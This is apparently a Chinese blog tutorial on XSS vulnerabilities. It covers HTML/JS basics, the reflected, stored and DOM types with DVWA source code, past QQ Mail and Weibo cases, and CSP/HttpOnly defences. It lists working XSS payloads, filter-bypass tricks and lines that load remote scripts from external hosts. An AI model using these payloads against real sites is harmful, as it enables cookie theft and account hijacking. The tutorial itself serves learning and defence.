WEB漏洞——XSS

本文详细探讨了XSS(Cross-site scripting)漏洞,包括HTML和JS基础、XSS的三种类型(反射型、存储型和DOM型)及其原理、危害和攻击流程。此外,还讲解了XSS的防御手段,如CSP、HttpOnly和输入输出检查。通过了解这些,读者可以更好地理解XSS攻击并采取措施防止此类漏洞。
摘要由CSDN通过智能技术生成


一、HTML和JS基础

HTML

1、认识HTML

html:超文本标记语言(HTML文档也叫做web页面)
功能:实现页面跳转,显示数据

XML
可扩展标记语言:传输数据
XXE 外部实体注入
在这里插入图片描述

2、HTML结果标准

<!doctype html> //声明文档类型,由渲染引擎解析
<html>//根标签
	<head>//头部标签
		<title></title>//标题标签 ,位于页面最上方定义浏览器工具栏中的标题
	</head>
	<body> 
		<!--在此处写注释-->
	</body>
</html>

<head> </head><body> </body>为并列关系
<head> </head><title> </title> 为嵌套关系

3、HTML标签 <开始标签>内容</结束标签>

3.1 HTML 标签

时HTML语言中最基本的单位,HTMl标签时HTML最重要的组成部分。HTML标签的大小写无关的,例如<body><BODY>表示的意思时一样的,都代表“主体”,推荐使用小写。

3.2 HTML标签分为单标签和双标签
3.2.1 常见的单标签
<br/> // 换行
<hr/> //水平分隔线
<img /> //图片标签
<input /> //输入标签
<meta /> //HTML文档的元数据,机器可读,<meta charset=UTF-8”/>
3.2.2 常见的双标签
<html></html>
<head></head>
<title></title>
<body></body>
<h1></h1> //大标题
<p></p> //段落标签
<div></div> //块标签,对内容样式控制、实现布局效果
<a></a> //例子 <a href="https://www.baidu.com">实验楼</a>
<ul></ul> //列表标签
<form></form> //表单标记
<select></select> //选项标签
3.2.3 form标签

1、定义和用法

  • <form></form,>标签用于为用户输入创建HTML表单。

2、表单能够包含什么

  • input元素,比如文本字段、复选框、单选框、提交按钮等等
  • menus(菜单)、textarea(文本区域)、cellspacing单元格间距等
  • 元素

3、表单的作用

  • 表单用于向服务器的传输数据

4、基本用法

<!--示例-->
<form action=“/demo/example.jsp” method=“post”>
	<input type=“text” name=“example1” maxlength=10/>
	<input type=“submit” value=“Submit” />
</form>

form表单的属性含义
Action:规定当提交表单时向何处发送表单数据
Method:规定get还是post的方法传输
Name:规定表单名称

input元素中的属性含义
Type:
password 密码框
Text:文本框
Submit:提交按钮
Maxlength:文本可以输入的最大长度

iframe标签
1、 作用:使用框架,你可以在同一个浏览器窗口中显示不止一个页面。
2、语法:<iframe src="URL><!--URL指向不同的页面-->123</iframe>
3、设置高度与宽:属性默认以像素为单位,但是你可以指定其按比例显示(如:“60%”)

<iframe src="https://www.lanqiao.cn/" width="934" height="500"></iframe>

JS(JaveScript)

什么是JS?作用是干什么?怎么写?

JavaScript是一种直译式的脚本语言、是一种动态类型、弱类型、基于原型的语言,内置支持类型。虽然JavaScript使用了Java这个名称,但实际上JavaScript与Java之间并没有任何关系。

JavaScript 能做什么

JavaScript 能够改变 HTML 内容。

<button type="button" onclick='document.getElementById("demo").innerHTML ="HelloJavaScript!"'>点击我!

在这里插入图片描述

JS(JavaScript)的功能

(1)可以将文本动态的放入HTML页面
(2)可以对时间作出响应
(3)可以读写HTML元素
(4)可被用来演示用户输入的数据
(5)可被用来检测访问者的浏览器,并根据所检测的浏览器,为这个浏览器载入相应的页面。
(6)可被用来创建cookies,用来存储和取回位于访问者的计算机中的信息。
(7)可利用Ajax技术来完成和服务器的直接通信,无刷新的修改当前HTML页面内容。

HTML如何引入JavaScript

//写在html的形式
<script>JavaScript的内容(123'xss'</script>

//引用文件的形式
<script type="text/javascript" src="js文件的路径"/>

JavaScript的弹框函数

JavaScript的弹框函数
javascript的三种对话框时通过调用window对象的三个方法alert(),confirm()和prompt()来获得,可以利用这些对话框来完成js的输入和输出,实现与用户能进行交互的js代码。

alert(’xss‘ “” // ``) //功能是产生一个带确认按钮的对话框,上面显示括号内的信息
confirm("文本") //拥有确定和取消的提示框
prompt("文本","默认值") //可以输入文件的框 

JavaScript的事件

  • 1.事件(Event)是JavaScript应用跳动的心脏,也是把所有东西粘在一起的胶水,当我们与浏览器中Web页面进行某些类型的交互时,事件就发生了。
  • 2.事件可能是用户在某些内容上的点击,鼠标经过某个特定元素或按下键盘上的某些按键,事件还可能是Web浏览器中发生的事情,比如说某个Web页面加载完成,或者是用户滚动窗口或改变窗口大小。
  • 3.简单的说:事件是文档或浏览器中发生的特定交互瞬间!
  • 比如:
    1. 点击了登录按钮,执行登录操作
    1. 鼠标拖动,实施拖动

JavaScript可以处理的事件种类有三种:鼠标事件,键盘事件和HTML事件。

<a href="demo.html" 事件="alert('1');">test</a>
<img src=# 事件="prompt(1)"/>

另外,鼠标事件是指通过鼠标动作触发的事件:

  • onmouseover 鼠标悬浮(鼠标移入目标元素上方)
  • onmouseout 鼠标离开(鼠标移出目标元素上方)
  • onmouseenter 鼠标进入(鼠标移入元素范围内触发) click:单击
  • onmouseleave 鼠标离开(鼠标移入元素范围内触发) dblclick:双击
  • onmousedown 鼠标按下
  • onmouseup 鼠标抬起

cookie和session详解

思考

HTTP协议是无状态的,当你通过客户端(电脑、手机)访问一个网站(服务器)的时候,服务器并不知道你是谁,加入你想看看自己的购买商品订单,服务器怎么给你返回数据呢?

会话跟踪是Web程序中常用的技术,用来跟踪用户的整个会话。在这个会话没有结束时,你就可以利用你的权限读网站进行某些操作,常用的会话跟踪技术时Cookie与Session。
在这里插入图片描述

cookie

获取过程
在这里插入图片描述

说明

Cookie是一个保存客户机中的简单的文本文件,当我们使用自己的电脑,通过浏览器进行访问网页的时候,服务器就会生成一个证书然后返回给浏览器并写如我们的本地电脑,这个证书就是cookie。Cookie它可以帮助我们实现记录用户个人信息的功能。

Cookie 两种表现形式:一种是本地Cookie,又称为持久性Cookie;另种则是临时Cookie,又称为Session Cookie,两者的区别在于持久型Cookie是服务器端语言向客户端发送Cookie 时制定了时效,也就是Expire字段,而且会存储与本地,当Expire所制定的时效过期或,Cookie将失效。而Session Cookie则没有制定Expire时效,是存储在浏览器内存中的,当浏览器关闭后,Session Cookie也随之消失。

访问同城下的页面时,无论时Session Cookie还是本地Cookie,Cookie将会一起被发送

Cookie主要用于以下三个方面:
1、 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
2、个性化设置(如用户自定义设置、主题等)
3、浏览器行为跟踪(如跟踪分析用户信息等)

作用
  • 服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。
  • Cookies最典型的应用时判定注册用户是否以及登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的作用。
  • 另一个重要应用场合是”购物车“之类处理。用户可能会在一段时间内在同一家网站的不同页面中选中不同的商品,这些信息都会写入Cookies,以便在最后付款时提前信息。

session

session是存在服务器的一种用来存放用户数据的类Hash Table结构。浏览器第一次发送请求时,服务器自动生成了——HashTable和——SessionID来唯一标识这个HashTable,并将器通过响应发送到浏览器。浏览器第二次请求会将前移除服务器响应中的SessionID放在请求中一并发送到服务器上,服务器从请求中提取Session ID,并和保存的所有Session ID进行对比,找到这个用户对应的Hash Table
在这里插入图片描述

cookie和session的区别?

  1. 存储位置不同
    cookie数据保存在客户端(浏览器),session数据保存在服务器端。
  2. 存储容量不同
    单个cookie保存的数据不能超过4KB,很多浏览器都限制一个站点最多保存20个cookie。(Session没有对存储的数据量的限制,其中可保存更为复杂的数据类型)
  3. 存储方式不同
    cookie只能保管ASCII字符串,并需要通过编码方式去存储数据;session能够存储任何类型的数据。
  4. 服务器压力不同等

二、XSS漏洞原理

介绍

XSS攻击最终目的是在网页中嵌入客户端恶意代码,最常用的攻击代码是JavaScript语言,但也会使用其它的脚本语言,例如:ActionScript、VBScript。而如今的胡来那我客户端脚本基本上是基于JavaScript,所以如果想要深入研究xss,必须要精通JavaScript。

XSS换句话说,JavaScript能够到什么效果,xss的胃口就有多大。这完全不是危言耸听。JavaScript可以用于获取用户的cookie,弹出窗口,那么存在xss漏洞的网站,xss就可以用来盗取用户cookie,废掉页面,导航到恶意网站!更高端的xss代码完全可以进行监控你的键盘操作,模仿windows注销界面,诱导你输入开机密码!而攻击者需要做的仅仅是向你的代码中注入JavaScript代码!

XSS的本质
恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

XSS攻击流程

在这里插入图片描述

XSS危害

1、网站弹框(刷流量)
2、网站挂马
3、会话劫持
4、Cookie被盗取
5、用户提权
6、账号被盗
7、DDOS
8、蠕虫攻击

XSS导致安全事件

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个URL的参数uin、domain未经过转义直接输出到HTML中。


于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi- bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fsc
ript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B


用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:
<script> getTop().location.href="/cgi- bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d =bbbb";return false;</script>
<script>alert(document.cookie)</script>“+”…


浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在
QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞
相关知识链接:https://www.cnblogs.com/52php/p/5659859.html


攻击者发现http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。


于是攻击者构建出一个 URL,然后诱导用户去点击:http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>"> 按分类检索</a></li>
浏览器接收响应后就会加载执行恶意加班 ///xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的未被和私信可在带上攻击URL,诱导更多点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫“。

三、XSS漏洞分类与利用

反射型(非持久型)——(Reflected Cross-site Scripting)

反射型XSS也称作非持久型,参数型跨站加班。主要用于恶意脚本附加到URL地址的参数中。
产生层面:前端
漏洞特征:一次性的、前端执行、不会存储在后端数据库
危害等级:低

反射型XSS攻击原理

在这里插入图片描述

反射性XSS原理

经典之 DVWA(反射型XSS)

在这里插入图片描述
在这里插入图片描述

<?php
	if(array_key_exists("name",$_GET)&&$_GET['name']!=NULL){
		echo '<pre>Hell '.$_GET['name'].'</pre>';
	}
?>

array_key_exists(key,array) #检查数组中是否存在键名
$_GET['name']!=NULL #输入变量不能为空
<pre> # 包围在pre元素中的文本通常会保留空格和换行符

可以发现没有对用户输入的数据进行任何过滤

小结

反射型XSS形成的一个过程
反射型XSS
反射型XSS的攻击步骤:
攻击者构造出特殊的URL,其中包含恶意代码。用户打开带有恶意代码的URL时,网站服务端恶意diamond从URL中取出,拼接在HTML中返回给浏览器。
用户浏览器接受到响应后解析执行,混在其中的恶意代码也被执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标接口执行攻击者制定的操作。

存储型(持久型)——(Stored Cross-site Scripting)

此类XSS不需要用户单击特定URL就能执行跨站脚本。
攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。
当受害者六六七包含此恶意JavaScript代码的页面就会执行恶意代码。
产生层面:后端
漏洞特征:持久性的、前端执行、存储在后端数据库
危险等级:中
存储型XSS常常出现在网站的留言版、评论、博客日志等交互处

存储型XSS数据交互过程

用户输入数据-> 后端执行php代码->存入数据库某张表-> 返回数据给php页面->回显前端

在这里插入图片描述

存储型XSS原理

经典之DVWA源码分析(存储型XSS)

在这里插入图片描述

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = ( $_POST[ 'mtxMessage' ] );
	$name = tritrimm( $_POST[ 'txtName' ] );
	// Sanitize message input
	$message = stripslashes( $message );
	$message = mysql_real_escape_string( $message );
	// Sanitize name input
	$name = mysql_real_escape_string( $name );
	// Update database
	$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
	//mysql_close();
}
?>
# 说明
die() //函数输出一条消息,并退出当前版本
trim() //函数从字符串的两端删除空白字符和其它预定义字符
stripslashes() //删除反斜杠
mysql_real_escape_string() //转义SQL语句中使用的字符串的特殊字符
mysql_query(query) //mysql_query()函数执行一条MySQL查询
mysql_error() //返回上一个MySQL产生的文本错误信息

小结

存储型XSS形成的一个过程
存储型XSS的攻击步骤:
攻击者将恶意代码提交到目标网站的数据库中。
用户打开网站时,网站服务端将恶意代码从数据库取出,拼接在HTML中返回给浏览器。
用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

DOM型

产生层面:前端、特殊的反射型XSS
漏洞特征:一次性的、前端执行,不会存储在后端数据库、程序执行不依赖于服务器的数据
web server不参与,仅仅设计到浏览器的XSS。
危害等级:中

DOM型XSS原理

DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的时浏览器端的DOM解析。

用户在客户端输入的数据如果包含了恶意JavaScript版本,而这些加班没有经过适当的过滤,应用程序就可能受到基于DOM的XSS攻击。

可以理解为:自己弹自己——dom

XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面的内容。
程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。
浏览器用户可以操作DOM中的一些对象,例如URL、location等。
用户在客户端输入的数据如果包含了恶意JS脚本,而这些加班没有经过适当的过滤和消毒,应用程序就可能受到基于DOM的XSS攻击。

什么是DOM(Document Object Model)

DOM是JS操作网页的接口,全称为“文档对象模型”(Document Object Model),它的作用是将网页转为一个JS对象,从而可以用加班进行各种操作(比如增删内容)

其中,下图所示为一个非常简单的HTML网页界面,显示的内容是一份购物清单。
在这里插入图片描述
在这里插入图片描述

DOM节点

文档是由节点构成的集合,在DOM里存在许多不同类型的节点,主要分为3种:元素节点、文本节点、属性节点。

  1. 元素节点
    在“购物清单”例子中,<body><p><ul>之类的元素在文档中的不仅形成了文档的结构,它们即是元素节点。

  2. 文本节点
    文档同会包含一些内容,这些内容多数由文本提供,如前面的例子中,<p>包含着文本“欢迎购买”,它就是一个文本节点。

  3. 属性节点
    元素或多或少都有一些属性,属性用于对元素做出更具体的描述

三种类型的XSS区别

与之前两类XSS漏洞不同的是
漏洞发生原因跟服务器解析无关,纯粹是JS代码读取了URL内容导致。


dom-xss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的


因此检测JS代码中可能触发DOM型XSS的属性如下:

  1. document.referer 属性
  2. window.name 属性
  3. location 属性
  4. innerHTML 属性
  5. documen.write 属性

漏洞利用

输入任意数值点击提交,会在表单下面生成一个<a>标签,输入的数值保存在href属性中
在这里插入图片描述
在这里插入图片描述

POC
'onclick ='alert(1)
再次点击新生成的链接便会弹窗

在这里插入图片描述

小结

DOM型 XSS形成的一个过程
DOM型XSS的攻击步骤:
攻击者构造出特殊的URL,其中包含恶意代码。
用户打开带有恶意代码的URL。
用户浏览器接收到响应后解析执行,前端JS取出URL中的恶意代码并执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。


DOM型XSS跟前两种XSS的区别:DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JS自身的安全漏洞,而其它两种XSS都属于服务端的安全漏洞。

四、XSS漏洞绕过方法

XSS漏洞挖掘

数据交互(输入/输出)的地方最冗余产生跨站脚本。因此,我们最重要的是考虑哪里有输入、输入的数据在社么地方输出,一般常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试。

手工测试XSS步骤

1、找到测试点(搜索框、留言板)
2、根据测试流程受限实验一些特殊符号的输入。发现可以正常输出,说明后台并没有进行相关过滤。例子:'<>?"&/666
3、如果有过滤则进行相关的绕过

XSS常见POC

常见XSS语句标签,<script>
1、<script>alert(1)</script>
2、<script src = http://baidu.cn/xss/xss.js></script>
3、'><script>alert(1)</script>

常见XSS语句标签,<img>
1、<img src=x onerror=alert(/xxx/)>
2、<img src=javascript:alert(1)> //版本,IE7.0|IE6.0,才能执行
3、<img src=# onmouseover="alert(1)">

常见XSS语句标签,<a>
"<a href=javascript:alert(’xss‘)>xss</a>
"> <a href="" onclick = "alert(1)">xss</a>

XSS漏洞绕过方法

大小写绕过——<ScRiPt>alert(1)</ScRiPt>
双写绕过——<sc<script>ript>alert(xss/)</script>
反引号绕过——``绕过单双引号的过滤
关闭标签(利用<>关闭标签)——"><script>alert(1)</script>
超链接标签——<a href=>1</a>
图片链接绕过——<img src=1 onerror=alert(1)>
编码绕过(八进制、十进制、十六进制编码、html实体编码、url编码、base64)
空格、回车、换行符、tab、混淆

这里介绍一个unicode的工具
https://www.matools.com/code-convert-unicode

五、XSS漏洞防御

防御手段

1)CSP内容安全策略

Content Security Policy
禁止加载外域代码,防止复杂的攻击逻辑
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现GitHub使用)。
禁止未授权的脚本执行(新特性,Google Map移动版在使用)。

2)通过设置HttpOnly防止cookie被窃取

3)输入输出检查(包括前端js和后端php)

在这里插入图片描述

另外,可以采用白名单验证或黑名单验证方法:

  • 白名单验证:对用户提交的数据进行检查,只接收指定长度范围内、采用适当格式和预期字符的输入,其余一律过滤。
  • 黑名单验证:对包含XSS代码特征的内容进行过滤,如“<”、“>”、“script”、“#”等
  • 对所有输入字符进行HTML编码。
    • < 转成&lt;
    • > 转成&gt;
    • &转成&amp;
    • "转成&quot;
    • '转成&#39;

总结

本篇文章介绍了关于XSS漏洞的形成过程,并根据其分类类型进行逐一说明,后续可以在DVWA、pikachu靶场上做相关练习,点赞关注加收藏将持续更新相关靶场攻略!!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值